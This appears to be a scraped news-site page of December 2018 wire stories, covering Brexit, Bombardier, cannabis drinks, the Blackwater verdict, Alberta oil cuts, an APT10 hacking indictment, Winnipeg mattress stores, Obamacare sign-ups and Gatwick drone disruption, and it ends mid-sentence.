start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Organizations including the British Chambers of Commerce and the Confederation of British Industry urged lawmakers to "return to their constituencies over Christmas and talk to their local business communities." "We hope that they will listen and remember that when they return to Parliament, the future course of our economy will be in their hands," the groups said. ___ Cook reported from Brussels. Associated Press writer Danica Kirka in London contributed to this report. ___ Follow AP's full coverage of Brexit at: https://www.apnews.com/Brexit DORVAL, Que. - Bombardier Inc. brushed off any concerns that tensions between the federal government and China as well as with Saudi Arabia pose a threat to business jet sales, on which the plane and train maker is staking its financial turnaround. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Bombardier's new jetliner, the Global 7500, the longest-range business jet in the world, is seen at the company's finishing plant in Montreal, Wednesday, Dec. 19, 2018. THE CANADIAN PRESS/Ryan Remiorz DORVAL, Que. - Bombardier Inc. brushed off any concerns that tensions between the federal government and China as well as with Saudi Arabia pose a threat to business jet sales, on which the plane and train maker is staking its financial turnaround. Relations between Ottawa and Beijing have been strained since Canadian authorities detained Huawei Technologies Co.s chief financial officer Meng Wanzhou in Vancouver on Dec. 1, which preceded the detention of three Canadians in China in less than one week. Foreign Affairs Minister Chrystia Freeland previously called attention to human rights issues under the watch of Saudi Crown Prince Mohammed bin Salman, tweeting in defence of a jailed womens rights activist last August that prompted the young royal to impose sanctions, boot Canadas ambassador and recall Saudi students from Canada. Bombardier, which celebrated the entry into service of its US$73-million Global 7500 business jet Thursday, said the product line is resistant to diplomatic and market fluctuations. If we see one region going through geopolitical slowdowns, there are usually other regions that are either coming up or experiencing booms where we can profit, said spokesman Mark Masluch. Michel Ouellette, who heads Bombardiers Global 7500 program sold out into 2022 said that customers who signed up many years ago want their aircraft. The Global 7500, along with the new Global 5500 and 6500, come partly as a response to products from rival business jet manufacturer Gulfstream Aerospace Corp. as demand for the larger jetliners keeps rising. Bombardier delivered 138 of the 677 business jets shipped by the industry in 2017, securing 20 per cent of the global market, according to the General Aviation Manufacturers Association. That number topped Gulfstreams 120 business jet deliveries. Measured by revenue, however, Gulfstreams market share is higher. The Georgia-based company obtained US$6.56 billion of the US$20.2 billion in business jet sales. Bombardier raked in US$5.14 billion, according to the association. Gulfstream and Bombardier duke it out at the top of the market, said Ernie Arvai, president of commercial aviation consultancy AirInsight Group. Business jets which target extremely wealthy individuals, large corporations and aircraft management companies yield fatter margins than commercial planes, which should benefit both companies, he said. If youve got enough money for one of these very high-end business jets, youve probably got the ego to go with it, and the need to have the latest and greatest. So its a matter of ego with some of the billionaire buyers, who are a market for this aircraft. Bombardier is aiming for US$8.5 billion in annual revenues by 2020, driven largely by Global 7500 sales a major bump from last years US$5 billion. The business jet backlog now totals US$14.3 billion, Masluch said. The Montreal-based company is on track to deliver between 15 and 20 of the planes next year, and between 35 and 40 in 2020, he said. Despite the manufacturing ramp-up that implies, some of the 3,000 workers Bombardier announced it will lay off over the next year and a half will be cut from the business jet unit, Ouellette said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The company is still evaluating where exactly those cuts will occur, he added. Karl Moore, an associate professor at McGill Universitys business school, said the companys focus on business jets and trains positions it well to handle changes in the economy. Governments like to spend on rail infrastructure during recessions to create jobs while business jets "should really rock and roll and make a lot of profit for Bombardier, Moore said. Chinese buyers looking to keep their distance from Canadian business jet makers may few alternatives for large business aircraft other than Gulfstream, a company based in the U.S., with which Beijing has even greater tensions. Companies in this story: (TSX:BBD.B) Note to readers: This is a corrected story. An earlier version incorrectly spelled the first name of Michel Ouellette. NEW YORK - The maker of Budweiser is partnering with medical cannabis company Tilray in a $100 million deal to research cannabis-infused drinks for the Canadian market. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. FILE - In this March 5, 2015, file photo, Budweiser beer cans are on ice at a concession stand at McKechnie Field in Bradenton, Fla. The maker of Budweiser is partnering with medical cannabis company Tilray in a $100 million deal to research cannabis-infused drinks for the Canadian market. The alliance announced Wednesday, Dec. 19, 2018, is the latest foray by a major beer company into the cannabis business in Canada, which legalized recreational marijuana in October. (AP Photo/Gene J. Puskar, File) NEW YORK - The maker of Budweiser is partnering with medical cannabis company Tilray in a $100 million deal to research cannabis-infused drinks for the Canadian market. The alliance announced Wednesday is the latest foray by a major beer company into the cannabis business in Canada, which legalized recreational marijuana in October. Anheuser-Busch InBev and Tilray Inc. said each would invest $50 million in the project to study non-alcoholic drinks containing cannabidiol, or CBD, which some claim has calming and healing affects, and THC, the cannabis compound known for its psychoactive effects. Belgium-based AB InBev, the owner of more than 500 beer brands including Budweiser and Stella Artois, said it will participate in the project through its subsidiary Labatt Breweries of Canada. "Labatt is committed to staying ahead of emerging consumer trends," said Labatt Breweries President Kyle Norrington. British Columbia-based Tilray has products available in 12 countries and operations in Australia, New Zealand, Canada, Germany, Latin America and Portugal. Tilray's shares jumped 15 per cent to after-hours training following news of the deal with AB InBev. The company had announced a day earlier that a subsidiary struck a deal with pharmaceutical company Sandoz AG to jointly operate in jurisdictions where cannabis is, or will be, approved for medical purposes. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Shares of AB InBev were little changed. Canada has emerged as a world leader in the cannabis industry, which is surging as legalization also expands in the United States. North American consumer spending on legal cannabis is expected to grow from $9.2 billion in 2017 to $47.3 billion in 2027, according to Arcview Market Research, a cannabis-focused investment firm. Earlier this month, Marlboro maker Altria Group Inc. invested $1.8 billion for a 45 per cent stake in Cronos Group, a Canadian medical and recreational marijuana provider. In August, wine, liquor and beer company Constellation Brands announced a $4 billion investment in Canadian pot producer Canopy Growth Corp. Coca-Cola, Pepsi and Guinness brewer Diageo have said they are closely watching the market for cannabis as it evolves. WASHINGTON - A former Blackwater security contractor was convicted Wednesday of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. FILE - In this June 11, 2014, file photo, former Blackwater Worldwide guard Nicholas Slatten leaves federal court in Washington. Slatten has been convicted of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. (AP Photo/Cliff Owen, File) WASHINGTON - A former Blackwater security contractor was convicted Wednesday of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. Nicholas Slatten, 35, of Sparta, Tennessee, was found guilty of first-degree murder in Washington for his role in the shooting, which strained international relations and drew intense scrutiny of the role of American contractors in the Iraq War. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Prosecutors charged that Slatten was the first to fire shots in the September 2007 massacre that killed 14 Iraqi civilians at a crowded traffic circle in Baghdad. They alleged that Slatten was unprovoked when he opened fire, first killing 19-year-old Ahmed Haithem Ahmed Al Rubia'y, who was driving his mother to an appointment, prosecutors said. In all, 10 men, two women and two boys, ages 9 and 11, were killed. Eighteen others were injured. The defence has argued that Slatten and other Blackwater contractors opened fire only after Al Rubia'y's sedan, seen as a potential suicide car bomb, began moving quickly toward their convoy. After the shooting stopped, no evidence of a bomb was found. In 2014, a jury convicted Slatten and three other contractors Paul Alvin Slough, Evan Shawn Liberty and Dustin Laurent Heard who were part of a four-vehicle convoy that was protecting State Department personnel in the area. An appeals court had overturned that conviction, saying he should have been tried separately from three other men. Slatten was retried last summer, but a mistrial was declared after the jury couldn't reach a unanimous verdict. The appeals court had ordered that Slatten's co-defendants be resentenced, and Slough, Liberty and Heard all remain in custody and are awaiting resentencing, prosecutors said. Slatten's sentencing date has not yet been set. CALGARY - Alberta's plan to curtail crude oil production in 2019 to clear a glut blamed for causing low local prices is unfair, Husky Energy Inc. charged Thursday, echoing criticism levelled by fellow oilsands producer Suncor Energy Inc. last week. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Husky Energy logo is shown at the company's annual meeting in Calgary on May 5, 2017. THE CANADIAN PRESS/Jeff McIntosh CALGARY - Alberta's plan to curtail crude oil production in 2019 to clear a glut blamed for causing low local prices is unfair, Husky Energy Inc. charged Thursday, echoing criticism levelled by fellow oilsands producer Suncor Energy Inc. last week. In its 2019 capital budget announcement, Husky said its expected contribution to the cuts in January is "considerably higher" than the 8.7 per cent industry-wide target announced by Premier Rachel Notley earlier this month. It also says the province is not properly considering in its calculations rising production at two of Husky's steam-driven northern Alberta oilsands projects. Husky continues to attain global pricing for the vast majority of our production. Our low-cost integrated model in North America and high-margin offshore business shield us from the commodity discounts realized by many of our peers, said CEO Rob Peabody in a news release. We are disappointed with government intervention given the markets natural ability to remove uneconomic barrels." The curtailments "disproportionately impact companies like Husky," the Calgary-based company said, noting the integration of its upstream oil production with upgraders, refineries and firm contracted pipeline space allow it to be profitable throughout commodity price cycles in Western Canada. Integrated companies like Suncor, Imperial Oil Ltd. and Husky are opposed to the curtailments which are supported by producers with a larger exposure to non-upgraded oil such as Cenovus Energy Inc. and Canadian Natural Resources Ltd. Suncor said last week the cuts have created "winners and losers" and could cause problems with safety and operational reliability at its oilsands projects, which normally operate flat out during the coldest months of the year. A spokesman for Alberta Energy responded to the Suncor complaint by pointing out the government had appointed an Alberta Energy Regulator panel to review curtailment levels and had made temporary adjustments to the formula for companies facing higher reductions because of production increases in 2018. The discount on Western Canadian Select bitumen-blend crude rose to as much as US$52 per barrel in October but has fallen to as little as US$11 per barrel since curtailments were announced. On Thursday morning, the discount on deliveries for February was US$15.25 per barrel, according to Calgary-based oil brokerage Net Energy. Suncor said the curtailment announcement had made crude-by-rail shipping "uneconomic." Analysts estimate it costs about US$20 per barrel to ship Canadian oil by rail to markets on the U.S. Gulf Coast, so differentials that are lower than that make it less attractive. Alberta has promised to buy as many as 80 locomotives and 7,000 rail tankers to start moving oil to markets in late 2019. The province said it will order the suspension of 325,000 barrels per day or about 8.7 per cent of overall oil production for about the first three months of 2019 before reducing the cuts for the rest of the year. The cuts only affect producers with more than 10,000 bpd of output, limiting curtailments to about 25 companies, mainly in the oilsands. Husky said it plans to spend approximately $3.4 billion on its capital expenditure program next year, about $300 million less than it forecast in May, partly to account for the oil production cuts as well as lower global oil prices. It says spending is being cut in areas where it has the most capital flexibility, including heavy oil and Western Canada resource plays. Average annual 2019 production is expected to be approximately 300,000 barrels of oil equivalent per day, about the same as in 2018. That doesn't include any production associated with its hostile takeover offer for oilsands producer MEG Energy Corp. which expires in mid-January. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The guidance also appears to assume a longer-than-expected outage at the White Rose oilfield off Newfoundland which was suspended following an oil leak during a severe storm in November, analyst Phil Skolnick of Eight Capital observed in a report. He said the operation produces 20,000 barrels per day net to Husky. The company has said operations will remain suspended until a full inspection of all facilities is completed and approval given by the Canada-Newfoundland Offshore Petroleum Board. On Thursday, it said it is progressing plans to retrieve a failed flow line connector at White Rose and expects to be able to resume operations in a phased approach. Follow @HealingSlowly on Twitter. Companies in this story: (TSX:HSE, TSX:MEG, TSX:SU, TSX:CVE, TSX:CNQ, TSX:IMO) WASHINGTON - U.S. officials on Thursday said two alleged Chinese hackers carried out an extensive campaign on behalf of Beijing's main intelligence agency to steal trade secrets and other information from government agencies and "a who's who" of major corporations in the United States and nearly a dozen other nations. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Deputy Attorney General Rod Rosenstein with FBI Director Christopher Wray, speaks during a news conference at the Department of Justice in Washington, Thursday, Dec. 20, 2018. The Justice Department is charging two Chinese citizens with carrying out an extensive hacking campaign to steal data from U.S. companies. An indictment was unsealed Thursday against Zhu Hua and Zhang Shillong. Court papers filed in Manhattan federal court allege the hackers were able to breach the computers of more than 45 entities in 12 states. (AP Photo/Manuel Balce Ceneta) WASHINGTON - U.S. officials on Thursday said two alleged Chinese hackers carried out an extensive campaign on behalf of Beijing's main intelligence agency to steal trade secrets and other information from government agencies and "a who's who" of major corporations in the United States and nearly a dozen other nations. The indictment is the latest in a series of Justice Department criminal cases targeting Chinese cyberespionage and coincided with an announcement by Britain blaming China's Ministry of State Security for trade-secret pilfering affecting Western nations. The alleged hackers, one of whom is nicknamed "Godkiller," are accused of breaching computer networks beginning as early as 2006 in a range of industries, including aviation and space, finance, biotechnology oil and gas, satellites and pharmaceuticals. Prosecutors say they also obtained the names, Social Security numbers and other personal information of more than 100,000 Navy personnel. In a new twist reflecting corporate computing's evolution, the hackers often infiltrated cloud computing companies and other major technology providers to indirectly reach clients' valuable documents. Prosecutors said the alleged hackers stole "hundreds of gigabytes" of data, breaching computers of more than 45 entities in 12 states including NASA's Jet Propulsion Lab and Goddard Space Center. The hackers, identified as members of the group APT10, or "Stone Panda," are not in custody. Prosecutors said their names are Zhu Hua and Zhang Shilong. U.S. law enforcement officials say the case is part of a trend of state-sponsored hackers breaking into American networks and stealing trade secrets and other confidential information. More than 90 per cent of Justice Department economic espionage cases over the past seven years involve China, said Deputy Attorney General Rod Rosenstein, and more than two-thirds of trade secrets cases are connected to the country. Deputy Attorney General Rod Rosenstein speaks during a news conference at the Department of Justice in Washington, Thursday, Dec. 20, 2018. The Justice Department is charging two Chinese citizens with carrying out an extensive hacking campaign to steal data from U.S. companies. An indictment was unsealed Thursday against Zhu Hua and Zhang Shillong. Court papers filed in Manhattan federal court allege the hackers were able to breach the computers of more than 45 entities in 12 states. (AP Photo/Manuel Balce Ceneta) "China's state-sponsored actors are the most active perpetrators of economic espionage," FBI Director Chris Wray said in announcing the case. "While we welcome fair competition, we cannot and will not tolerate illegal hacking, stealing or cheating." "China's goal, simply put, is to replace the U.S. as the world's leading superpower, and they're using illegal methods to get there," Wray said. While none of the "victim companies" was named, Wray called them a "who's who of the global economy." China on Friday said the U.S. was "fabricating facts out of thin air." A statement from Chinese foreign ministry spokeswoman Hua Chunying described the "unwarranted accusations" as a serious violation of the basic norms of international relations that was harmful to China-U.S. co-operation. Hua accused the U.S. of hypocrisy. "It has long been an open secret that the relevant authorities of the U.S. conduct large-scale cybertheft and listen in on foreign governments, enterprises and individuals," she said. Secretary of State Mike Pompeo and Homeland Security Secretary Kirstjen Nielsen released a joint statement accusing China of reneging on a 2015 commitment not to seek competitive advantage through theft of trade secrets, intellectual property and confidential business information. U.S. officials testified before Congress last week that Beijing's continued hacking has made a mockery of that 2015 commitment by President Xi Jinping following a first-of-its-kind indictment that accused Chinese hackers of stealing corporate data from brand-name U.S. companies. "We want China to cease illegal cyber activities and honour its commitment to the international community, but the evidence suggests that China may not intend to live up to its promises," Rosenstein said. Deputy Attorney General Rod Rosenstein with FBI Director Christopher Wray, speaks during a news conference at the Department of Justice in Washington, Thursday, Dec. 20, 2018. The Justice Department is charging two Chinese citizens with carrying out an extensive hacking campaign to steal data from U.S. companies. An indictment was unsealed Thursday against Zhu Hua and Zhang Shillong. Court papers filed in Manhattan federal court allege the hackers were able to breach the computers of more than 45 entities in 12 states. (AP Photo/Manuel Balce Ceneta) Rob Silvers, a former Obama administration cybersecurity official, said cases like this create an important deterrent but should be supplemented by sanctions and other steps. "It's necessary to do this kind of thing, but it's not nearly enough," he said. "I don't think Rod Rosenstein would tell you that it's game, set, match." After a 2014 indictment against five alleged Chinese hackers, and a subsequent agreement with the U.S., Beijing at least temporarily reduced its hacking activity, Silvers said. This case shows that "China has taken the gloves off again," he said. Adam Segal, a cybersecurity expert at the Council on Foreign Relations, agreed that Beijing is unlikely to be swayed by sanctions alone. The indictment filed in federal court in Manhattan describes how in recent years, as government agencies and corporations have shifted data to cloud computing providers and services including email and collaboration tools to tech service providers, the Stone Panda hackers followed, typically stealing the log-in credentials of system administrators in order to reach coveted proprietary data of clients. Wray likened it to "breaking into and getting the keys from the maintenance department." Britain's Foreign Office accused the Chinese elite hackers of conducting a "widespread and significant" campaign of cyberespionage against the United Kingdom and its allies and "almost certainly continues to target a range of global companies, seeking to gain access to commercial secrets." Targeted nations named in the U.S. indictment include Brazil, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland and the United Arab Emirates. In recent months, the Justice Department has filed separate cases against several Chinese intelligence officials and hackers. A case filed in October marked the first time that a Chinese Ministry of State Security officer was extradited to the United States to stand trial. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Chinese espionage efforts have become "the most severe counterintelligence threat facing our country today," Bill Priestap, the assistant director of the FBI's counterintelligence division, told a Senate committee. Hacking by Chinese state-backed hackers dramatically escalated over the summer in response to the trade war with the U.S. and military tensions in the South China Sea, said Tom Kellermann, chief cybersecurity officer of Carbon Black, whose company's threat-hunting tool is used in global cyber investigations. He credited the Justice Department with targeting a group that he said was China's "most prolific hacker crew." He said he was not optimistic that the pair would be prosecuted in the U.S., but that's not the point. "The Chinese are operating on a 50-year plan of information dominance, a comprehensive national strategy, and it's high time we actually reacted," Kellermann said. ___ Associated Press writers Jill Lawless in London, Frank Bajak in Boston and Yanan Wang in Beijing contributed to this report. Hey there, time traveller! This article was published 22/8/2018 (1198 days ago), so information in it may no longer be current. Just call it Mattress Boulevard. In just a five-kilometre stretch of St. James Street between Portage and Dublin avenues, there are no less than 20 retailers aiming to sell Winnipeggers their latest pillow-tops, and there used to be even more. That may seem excessive for a product that consumers rarely buy. In recent years, as Internet mattress sales have boomed, and as the city has grown, the Winnipeg mattress market has spread out. Thats according to Best Sleep Centres David Keam, who for a quarter-century has been telling Manitoban shoppers "youll find us." But whereas three years ago he could be found in seven locations, Keam has since closed all his rural stores, leaving only four brick-and-mortars standing in Winnipeg. The slogan still rings true, Keam insists. "Only you might have to drive another 50 miles to find me," he says. "A jug of milk needs to be available nearby; a mattress doesnt anymore." Many consumers have turned to e-commerce mattress companies, like Caspar or the Canadian Endy, which was recently purchased by Sleep Country, retail bed-in-a-box options to millions of consumers nationwide. Craig Patterson, the founder of the website Retail Insider, says online sales account for nearly 10 per cent of total mattress purchases in Canada, and that Endy expects to make $50 million through its bed-in-a-box products this year. At least 100 online mattress start-ups exist now, he says. So how has such a high number of mattress stores persisted in an area such as St. James Street despite a seeming migration toward the Internet and away from physical showrooms? "Because mattresses are very much a tactile thing," Patterson says. "And brands cluster where consumers are." Keam says buyers often hop between stores, not dissimilar from car dealerships in an auto park, to try to get the best deal. Fifteen years ago, when he opened on the street, St. James was the best place for that, Keam says. "We wanted to be near our competition." And there is no shortage of that: chains like Leons, Ashley HomeStore, The Brick, Dufresne, Jysk and Sleep Countrythe industry leaderare all a stones throw from Keams front door. But several, like United Furniture Warehouse, Simmons and Mattress Genie, along with industry titan Sears, have shut down, leaving a lot of sales up for grabs. Sleep Country has six stores in Winnipeg, and has plans to open more in future developments that have yet to break ground, says Stewart Schaefer, the companys chief business development officer. One of the companys top-selling mattresses is Bloom, a bed-in-a-box model. But brick-and-mortars are still the companys bread and butter; Fifteen stores are opening this year across Canada. "We love being near our competition," he said, so a store on St. James made sense when the company entered Manitoba in 2005. This past year, Sleep Country experienced double-digit growth in the province, and has seen a similar pattern nationwide for five years, but the St. James store, which was closed for renovations for a stretch this year, grew at a slower single-digit rate, Schaefer says. While St. James used to be the place to shop for a mattress, Keam says, it isnt the case now. "In the past, location drove traffic to us. Now, I have to drive traffic to the location," said Keam, who wouldnt provide sales figures. "The world changes," says Keam, who abandoned radio ads this year in favour of more television and internet marketing. "You either become like Sears and disappear, or you adapt." For Keam, thats meant cutting back on physical real estate and putting additional resources toward web-based sales. "Theres nothing more important than the internet," he says. For nearby EQ3, its meant partnering with the new kids on the mattress block. Since May, the Winnipeg-based furniture mainstay has been partnered with Casper, the American e-mattress start-up, to sell its products in store. "We were thrilled to partner with a company that reinvented the mattress industry," said Jill Winograd, EQ3s vice-president of sales and merchandising. "Customers are gravitating to online shopping, however there is still the desire to touch and feel the product." Casper, which expanded to Canada in 2014, has since aggressively pursued the market and butted heads with Endy and Sleep Country. Part of Caspers growth has led them to physical shops, with one store opened in a Toronto mall. "We knew there were Canadian consumers whod want to see and feel the mattress before purchasing," said Nicole Tapscott, Casper Canadas senior director and general manager. Tapscott said the company is expecting to expand its brick-and-mortar locations across Canada, but wouldnt share whether Winnipeg would be getting a dedicated Casper shop. Hudsons Bay Home on St. James also carries Casper products, she said. Schaefer called Caspers partnering with retailers "a complete 180" compared to the companys initial anti-brick-and-mortar posturing. "I guess mattress stores are the way to go," he said. That a company that made its bones on the internet is purchasing physical real estate is evidence to Keam that consumers prefer to see and feel a mattress before buying. "The concept of buying anything sight unseen, especially something as complicated as a mattress, doesnt make much sense to consumers," Keam said. While companies like Best Sleep Centre are learning how to operate in a changing industry, smaller local entities have found if their model isnt broken, they should be in no rush to fix it. Paul Bansal of Sleepwell Bedding says his company has been doing sales between $750,000 and $1 million for close to 25 years, and that despite the shifting marketplace, he doesnt anticipate that will change. Sleepwell makes all of its mattresses in a 5,000 square-foot warehouse on St. James, and does very little marketing compared to competitors. Bansal is satisfied with sales as they are. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Bansal, whos been in the business since 1983, says hes seen the area shift in the same way as Keam. As people move into newer developments, retailers pop up, meaning St. James isnt the same destination it once was. But Bansals company, which has only five employees, and makes about 15 mattresses per day, has purposefully barely changed its output or profit since 1992. "We do have an online store," he says, which does quite well. "But online you cant really get a feel for a mattress. People still want to lie down." Schaefer said another potential issue with new industry players -- Casper and Endy aside -- is wondering how long theyll be around, putting warrantees, a mattress necessity, in question. "Are they even going to guarantee you 10 years?" Of course, in 2008, few Sears shoppers couldve predicted that companys demise, Schaefer concedes. "Nothings written in stone," Schaefer said. "If you dont evolve, youre dead." And as long as youre living, youll need a mattress. business@freepress.mb.ca WASHINGTON - The Affordable Care Act has yet again beaten predictions of its downfall, as government figures released Wednesday showed unexpectedly solid sign-ups for health coverage next year. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. WASHINGTON - The Affordable Care Act has yet again beaten predictions of its downfall, as government figures released Wednesday showed unexpectedly solid sign-ups for health coverage next year. The Centers for Medicare and Medicaid Services said nearly 8.5 million people had enrolled as of last Saturday's deadline, with about a dozen states, including California and New York, still left to report. The preliminary number was down about 4 per cent, when a much bigger loss had been expected. Graphic shows sing-ups under the Affordable Care Act for federally-run marketplace; 2c x 3 1/2 inches; 96.3 mm x 88 mm; Different factors combined to make for an unpredictable sign-up season this year for former President Barack Obama's health care law, commonly referred to as "Obamacare." On the plus side, premiums stabilized and consumers had more coverage choices. On the negative side, premiums for the health law's comprehensive coverage remained unaffordable for many people who don't qualify for financial help. Also, Congress repealed a requirement for Americans to get health insurance, and President Donald Trump's administration sharply scaled back advertising and opened the way for competition from lower-cost insurance that covers less. Then last Friday, a Republican-appointed federal judge in Texas declared the whole law unconstitutional on the eve of the enrolment deadline. Health law supporters are planning to appeal. Experts said the new numbers show staying power for "Obamacare," even with its continuing political problems and premiums that remain too high for many middle-class consumers. "Despite everything that has been thrown at this market, politically, with premium increases and also regulation changes, there is still a core group of Americans who want this insurance and buy this insurance every year," said Chris Sloan of the consulting firm Avalere Health. "They are a hardy group of people." But the number of new customers the key to growing the market remained down by about 15 per cent when compared to last year. Wednesday's figures are for the 39 states using the HealthCare.gov website. Not included yet are totals from about a dozen states running their own insurance marketplaces. Also to be added in later are HealthCare.gov customers who signed up close to deadline or who left phone numbers for a callback. In a twist, Trump administration officials said the enrolment numbers rebut charges of "sabotage" coming from Democrats. Trump has repeatedly called the health law a "disaster" and last year led an unsuccessful drive to repeal it. White House actions last year were blamed for higher premiums. Nonetheless, CMS Administrator Seema Verma said that the administration has taken strong steps to run a smooth and efficient sign-up process and that Wednesday's numbers are "another sign that the administration's efforts are working." For example, Verma said HealthCare.gov was down for less than an hour this open enrolment season. After the Republican-led Congress repealed the law's unpopular fines for people who go without health insurance, many experts predicted it would lead to a drop in enrolment. But Verma said that doesn't seem to have happened. She said the main reason enrolment has continued to gradually erode year over year is because premiums are still unaffordable for people who don't qualify for help. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. But Joshua Peck, who headed marketing efforts under the Obama administration, faulted the Trump administration for ratcheting back advertising. "Consumer demand for health coverage is extremely high," he said. "That doesn't mean the administration is running open enrolment well. In fact, new enrolment one of the best indicators has shown a decline." The health law provides subsidized private insurance for people who don't have coverage through their jobs. It also gives states the option to expand their Medicaid programs to cover more low-income adults. Since it passed in 2010, about 20 million people have gained coverage, keeping the nation's uninsured rate under 10 per cent. Nearly 11.8 million people signed up during last year's open enrolment season, counting consumers in all 50 states. It's possible that number could be matched again, after totals from remaining states are added. "Obamacare" has survived two Supreme Court challenges and dozens of votes in Congress to repeal it wholly or in part. After Judge Reed O'Connor's ruling last week, another legal challenge is working its way through the courts. The judge agreed with a group of Republican-led states that were seeking to overturn Obamacare. A group of Democratic senators urged Congress on Wednesday to intervene in the Texas lawsuit in defence of the law. The House is expected to take similar action next year when Democrats retake control of that chamber. Vivendi-owned mobile studio Gameloft has purchased SongPop developer FreshPlanet for an undisclosed fee. Established back in 2009, FreshPlanet found success with music trivia titles SongPop and SongPop 2, the first of which has been downloaded over 100 million times. Gameloft believes the deal will help reinforce its presence in the States, and says it will support the studio in working on new "more ambitious projects" by providing it with commercial, publishing and marketing support. "FreshPlanet is the unmatched category leader in music trivia. Their mobile games gather a large and engaged audience and are developed with a level of craft and passion that is everything we stand for," said Gameloft CEO Stephane Roussel. "This naturally led us to bring them on board. With FreshPlanets talent and creativity, we see great opportunities to develop new ways of having fun and to reinforce our presence in North America." Although it will now operate as a Gameloft studio, FreshPlanet will continue to be led by CEO Mathieu Nouzareth and will remain located in New York. TRAVERSE CITY, Mich. - The Latest on a Michigan panel's consideration of a proposal to allow construction of an oil pipeline tunnel beneath the waterway linking Lakes Huron and Michigan (all times local): Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. TRAVERSE CITY, Mich. - The Latest on a Michigan panel's consideration of a proposal to allow construction of an oil pipeline tunnel beneath the waterway linking Lakes Huron and Michigan (all times local): 5:10 p.m. A plan to build an oil pipeline tunnel beneath a channel linking Lakes Huron and Michigan has won final approval. One week after it was established, a Michigan panel approved an agreement between outgoing Republican Gov. Rick Snyder's administration and the Canadian pipeline company Enbridge. It calls for drilling the 4-mile (6.4 kilometre) tunnel through bedrock under the Straits of Mackinac. The new pipeline segment will replace twin pipes along the lake bed. They are part of Enbridge's Line 5. The pipeline carries oil and natural gas liquids between Superior, Wisconsin, and Sarnia, Ontario. The unanimous approval from the three-member Mackinac Straits Corridor Authority accomplishes Snyder's goal of sealing the deal before leaving office this month. His successor, Democrat Gretchen Whitmer, has criticized the tunnel plan. ___ 8:50 a.m. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. A recently established state panel in Michigan could give final approval to a proposed oil pipeline tunnel beneath a crucial section of the Great Lakes. The Mackinac Straits Corridor Authority is scheduled to meet for the first time Wednesday in St. Ignace. The three-member panel is expected to consider recent agreements between Michigan Gov. Rick Snyder's administration and Enbridge Inc. The Canadian company wants to drill a tunnel through bedrock under the straits area connecting Lake Huron and Lake Michigan. The tunnel would hold a new section of Enbridge's Line 5, which carries oil and natural gas liquids between Superior, Wisconsin, and Sarnia, Ontario. It would replace a more than 4-mile-long (6.4-kilometre-long) dual segment of pipe that runs along the lakebed. Environmental groups oppose the tunnel and want Line 5 shut down. LONDON - When drones buzzing over the runway forced London's busy Gatwick Airport to shut down, many travellers wondered why it's so hard for authorities to stop such intruders. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. LONDON - When drones buzzing over the runway forced London's busy Gatwick Airport to shut down, many travellers wondered why it's so hard for authorities to stop such intruders. Shoot them down, some said. Jam their signals, others suggested. Chart shows the number of reported drone sightings near U.S. airports over a 12 month period from the latest available data; 1c x 2 1/2 inches; 46.5 mm x 63 mm; Experts say it's not that easy. Britain and the U.S. prohibit drones from being flown too high or too close to airports and other aircraft. In Britain, it is a crime punishable by up to five years in prison. Still, there is little to stop a drone operator bent on disrupting air traffic, which British officials say was the case with the Gatwick incident that began Wednesday evening. The number of close calls between drones and aircraft has increased dramatically in recent years as the popularity of drones has soared. Basic models for amateurs sell for under $100; larger, more sophisticated ones can cost hundreds more. Britain had 120 reports of close encounters in 2018, up from 93 last year. In 2014, there were six, according to the U.K. Airprox Board, which catalogues air safety incidents. In the United States, there were nearly 2,300 drone sightings at airports in the year ending June 30, according to Federal Aviation Administration records. Runways have been temporarily closed, but an FAA spokesman said he could not recall drones ever leading to the shutdown of a U.S. airport. A drone hit a small charter plane in Canada in 2017; it landed safely. In another incident that same year, a drone struck a U.S. Army helicopter in New York but caused only minor damage. "This has gone from being what a few years ago what we would have called an emerging threat to a more active threat," said Patrick Smith, an airline pilot and author of askthepilot.com. "The hardware is getting bigger and heavier and potentially more lethal, and so we need a way to control how these devices are used and under what rules." Even small drones could cause severe consequences by damaging a helicopter's rotor or getting sucked into a jet engine. A drone could also crash through a windshield, incapacitating the pilot, though that's mainly seen as a risk to small aircraft. "On an airliner, because of the thickness of the glass, I think 